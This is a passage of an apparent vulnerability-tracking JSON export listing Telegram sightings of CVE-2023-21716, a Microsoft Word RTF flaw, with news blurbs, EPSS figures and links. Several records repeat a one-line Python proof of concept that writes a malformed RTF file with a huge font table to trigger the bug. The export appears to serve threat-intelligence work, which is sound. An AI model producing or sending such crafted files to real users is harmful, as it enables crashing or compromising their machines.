\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u0432 Q2, EPSS \u0442\u043e\u0436\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 (0.07896,0.93195). \n3. \u0414\u043b\u044f \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 MS Edge (CVE-2023-0696) \u0438\u0437 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e MS Patch Tuesday (\u0438\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u043c\u0435\u0441\u044f\u0446), EPSS \u043d\u0438\u0437\u043a\u0438\u0439 (0.00062,0.24659)\n4. \u0412\u0437\u044f\u043b \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c EPSS \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 - CVE-2023-0297 (0.04128,0.90834). \u0422\u043e\u0436\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u043f\u043e\u0447\u0435\u043c\u0443, \u0442\u0430\u043c \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 NVD.\n\n\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0432\u0441\u0451 \u0432\u043f\u043e\u043b\u043d\u0435 \u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e. \ud83d\udc4d\n\n\u0422\u043e \u0435\u0441\u0442\u044c \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 EPSS \u044f \u0431\u044b \u043d\u0435 \u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u043a\u0442\u043e\u0440 \u0441 \u0432\u0435\u0441\u043e\u043c \u043a\u0430\u043a \u0443 CVSS Base Score (\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438 \u043f\u043e\u0432\u044b\u0448\u0435) \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d\u043d\u044b\u043c. \u0421\u043e\u0432\u0441\u0435\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u044d\u0442\u0430 \u0446\u0438\u0444\u0438\u0440\u044c \u0432\u0432\u0435\u0440\u0445 \u0432\u0440\u044f\u0434 \u043b\u0438 \u043f\u043e\u043f\u043e\u043b\u0437\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0438\u0434\u0451\u0442 \u043a 0.9 \u0438 \u0432\u044b\u0448\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043f\u043e\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435. \u041f\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u044e \u043d\u0430\u0447\u0430\u0442\u044c \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c EPSS \u0432 Vulristics. \ud83d\ude09\n\n@avleonovrus #EPSS #TenableVPR #Tenable #Vulristics", "creation_timestamp": "2023-03-11T12:03:59.000000Z"}, {"uuid": "5e1408ec-7562-4a59-ad50-f0f5ef916efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/ctinow/121202", "content": "https://ift.tt/Qh09bdT\nMitigating the CVE-2023-21716 Vulnerability: Challenges and Solutions", "creation_timestamp": "2023-06-30T03:46:32.000000Z"}, {"uuid": "6db261b0-7ba5-4d8d-84fb-b5b1705f33b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/ctinow/98049", "content": "Mitigating the CVE-2023-21716 Vulnerability: Challenges and Solutions\n\nhttps://ift.tt/dZz8aEr", "creation_timestamp": "2023-03-09T16:41:23.000000Z"}, {"uuid": "f31cb98a-aa05-4094-8985-29ed9bd95830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/97175", "content": "PoC exploit for recently patched Microsoft Word RCE is public (CVE-2023-21716)\n\nhttps://ift.tt/qLcIRQw", "creation_timestamp": "2023-03-06T12:11:08.000000Z"}, {"uuid": "31641cac-23d3-48d1-8523-5b44c0b61087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/97218", "content": "PoC exploit for recently patched Microsoft Word RCE is public (CVE-2023-21716)\n\nhttps://ift.tt/qLcIRQw", "creation_timestamp": "2023-03-06T15:01:29.000000Z"}, {"uuid": "c6e16b02-d39f-4498-a6ba-cc631c2202f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/GTrtTiHsW4I9nItKnJzcCDRGjqQEV2W_AijHyHlRuk4SUaM", "content": "", "creation_timestamp": "2023-03-08T06:55:41.000000Z"}, {"uuid": "ca83bdcb-c7e5-423a-97f0-fcda7475a66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/TC2anR0Bi0Rspk2hVtvYsHq8B-wuf1b2401n0ztWALr0aOs", "content": "", "creation_timestamp": "2023-03-07T17:25:42.000000Z"}, {"uuid": "609a8b47-e8dd-48ab-bf29-479d38e5ca8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/6eogxy3KkidHUkjuVIlf11m8R5SWHrpDwVSQJPwbKvkrOZc", "content": "", "creation_timestamp": "2023-03-07T17:25:42.000000Z"}, {"uuid": "9e8f00db-b5c7-494b-85e1-c43dd02b5866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/_9vepDCsFoytBOWzMOaSpuHLGBjd6LvzZznROLSmfGcQW9Y", "content": "", "creation_timestamp": "2023-03-07T17:25:42.000000Z"}, {"uuid": "21761dd5-98ca-483e-9a34-e75e6a83b2a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/hackprotectsi/478", "content": "https://www.helpnetsecurity.com/2023/03/06/cve-2023-21716-poc/", "creation_timestamp": "2023-03-06T14:17:16.000000Z"}, {"uuid": "5a847e53-73d5-4615-8ccc-c45e774baae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/arpsyndicate/1859", "content": "#ExploitObserverAlert\n\nCVE-2023-21716\n\nDESCRIPTION: Exploit Observer has 45 entries related to CVE-2023-21716. Microsoft Word Remote Code Execution Vulnerability\n\nFIRST-EPSS: 0.534690000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-17T22:55:03.000000Z"}, {"uuid": "f55df796-4776-428e-8278-d4c02ef44637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/arpsyndicate/1822", "content": "#ExploitObserverAlert\n\nCVE-2023-21716\n\nDESCRIPTION: Exploit Observer has 45 entries related to CVE-2023-21716. Microsoft Word Remote Code Execution Vulnerability\n\nFIRST-EPSS: 0.534690000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-16T13:07:20.000000Z"}, {"uuid": "6b2e7eb7-c0c3-42f9-897e-cf0605a90929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/integral_security/19", "content": "\ud83d\udcbb\u00a0\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 6\u201310 \u043c\u0430\u0440\u0442\u0430\n\n\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u0449\u0438\u0445 \u0441\u043b\u0443\u0436\u0431 \u0421\u0428\u0410\u00a0\u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430\u043c \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438\nGSA \u0441\u043e\u0431\u0440\u0430\u043b\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432 \u0441\u0432\u044b\u0448\u0435 10 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0437\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c Login.gov.\n\n\u0420\u043e\u0441\u0441\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u0430\u0446\u0438\u0438\u00a06G\u00a0\u043f\u043e\u0441\u043b\u0435 2025 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"source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/2266", "content": "CVE-2023-21716 Microsoft Word RCE exploit\nPoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))", "creation_timestamp": "2023-05-15T16:55:33.000000Z"}, {"uuid": "26428952-44ee-4bb0-9587-bd951d9e966c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/1780", "content": "CVE-2023-21716(Microsoft Word RCE vuln) Python PoC\n\nopen(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))", "creation_timestamp": "2023-03-06T18:41:13.000000Z"}, {"uuid": "5ddd8229-5889-46b7-907e-0267880d3346", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/2421", "content": "CVE-2023-21716\n\nRTF Crash #POC Python 3.11 Windows 10\n\nhttps://github.com/Xnuvers007/CVE-2023-21716\n\n#CVE  #cybersecurity #infosec", "creation_timestamp": "2023-03-10T12:08:03.000000Z"}, {"uuid": "395ab885-6778-4c35-990c-4f168d7838c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1414", "content": "0-CLICK Microsoft Word RCE exploit\nCVE-2023-21716 Python\nPoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))", "creation_timestamp": "2023-03-08T07:20:50.000000Z"}, {"uuid": "db03d118-3389-4487-8dfe-dbd119920d1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/47_Lkb3uUqJJpMlTUupzZLy6AxhDmGDGU0JyjZb67a2trIE", "content": "", "creation_timestamp": "2023-03-23T06:07:08.000000Z"}, {"uuid": "135a3400-9389-4c8d-aac2-1e08759de675", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/breachdetector/213425", "content": "{\n  \"Source\": \"arvin_club\",\n  \"Content\": \"CVE-2023-21716 Microsoft Word RCE exploit PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8')) https://twitter.com/jduck/status/1632471544935923712 TwitterCVE-2023-21716 Python PoC (take 2) open(\"t3zt.rtf\",\"wb\").write((\"{\\\\rtf1{\\n{\\\\fonttbl\" + \"\".join([ (\"{\\\\f%dA;}\\n\" % i) for i in range(0,32761) ]) + \"}\\n{\\\\rtlch no crash??}\\n}}\\n\").encode('utf-8'))\", \n  \"author\": \"ARVIN\",\n  \"Detection Date\": \"08 Mar 2023\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "creation_timestamp": "2023-03-08T11:16:12.000000Z"}, {"uuid": "a820d0a3-ffa4-4db1-9270-b2812b80ab8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/coHLafuCpo1ZJvhUbICxBSkRUOGsjTgnauTPcompqp4Y004", "content": "", "creation_timestamp": "2023-11-16T09:43:24.000000Z"}, {"uuid": "d4a3fea0-85bc-4841-b15b-1d5c26bccc87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/g74KO0v98ALw9zozMtzX-yh90JOcvqAVTs6Em7n-erocgCE", "content": "", "creation_timestamp": "2023-04-14T12:13:03.000000Z"}, {"uuid": "3dda809f-e4c7-4f38-9e35-9f8ea8e823db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "Telegram/6yDneh7IHquusJhEtwKEBo5gjV23ONmF48efIzDZwtpvtSU", "content": "", "creation_timestamp": "2023-04-14T11:54:13.000000Z"}, {"uuid": "0e57e730-a7d3-488d-a855-bc5ca37ae45f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/YJC-N_8LewpUH27kTKGsO7ChoKEF4Jq0t4K0-OMh65-2YDM", "content": "", "creation_timestamp": "2023-04-14T11:48:56.000000Z"}, {"uuid": "7457a3fc-604b-42ee-a465-628cdeddf2c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/vuK4LnqSxUsFuTLArxpsXUB6hE12ar0zUTrQ5iDTe3F7NiY", "content": "", "creation_timestamp": "2023-03-07T07:01:09.000000Z"}, {"uuid": "c91446e7-7bc7-4d3b-a528-bd94ffa79c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "Telegram/QsG02uhFuz8KRVOTkaBVixj1RkuWfTNtjzMyUSPgx0h5C08", "content": "", "creation_timestamp": "2023-03-07T06:14:52.000000Z"}, {"uuid": "6102bcb5-6f59-4b7a-89e1-55cac54df066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/4141", "content": "\u041c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Microsoft Office \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0438\u0431\u043e \u043c\u0430\u043c\u043a\u0438\u043d\u044b \u0445\u0430\u0446\u043a\u0435\u0440\u044b \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u043c PoC \u0434\u043b\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2023-21716.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0441 \u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0430\u043c\u0438.\n\n\u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0431\u0430\u0433.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 wwlib.dll \u043f\u0430\u043a\u0435\u0442\u0430 Microsoft Office, \u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 CVE-2023-21716 \u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043a\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 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\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0438\u0437 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.", "creation_timestamp": "2023-03-07T18:17:36.000000Z"}, {"uuid": "6fba0a3b-8cd5-4316-9646-8b3811cd1012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "Telegram/mpCXrqCCIo8_nu_WtNQymsIHQVh2ysstWvwyr2slEFnqtHI", "content": "", "creation_timestamp": "2023-03-06T20:57:16.000000Z"}, {"uuid": "c62b6b4d-df6b-4a8c-bfa9-e666fa8c0bd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2708", "content": "\ud83e\udd14CVE-2023-21716 (Microsoft Word RCE vuln) Python PoC\n\nhttps://system32.ink/news-feed/p/266/", "creation_timestamp": "2023-03-06T03:10:02.000000Z"}, {"uuid": "d797ed43-582b-42b1-b9d4-7767679df7a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-21716", "type": "seen", "source": "https://t.me/cisoclub/2307", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 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\u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n3\ufe0f\u20e3 \u0412 \u0441\u0435\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f proof-of-concept \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-21716 \u0432 \ud83d\udcc4Microsoft Office. \u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 9,8 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 \ud83d\udcca\u043e\u0446\u0435\u043d\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVSS. \n\n4\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \ud83d\udcbe\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f 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\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 DJI. \u0412 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 DJI \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \ud83d\udd11\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 50 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \ud83d\udcf2Android \u0437\u0430 \u043c\u0430\u0440\u0442 2023 \u0433\u043e\u0434\u0430.\n\n7\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u043d\u043b\u0430\u0439\u043d-\u0441\u0435\u0440\u0432\u0438\u0441 \ud83c\udf34Booking.com \u0438\u043c\u0435\u0435\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b 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\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-07-30T00:02:58.104878Z"}, {"uuid": "bccc6628-3943-437f-bc5d-5dc9ff95a074", 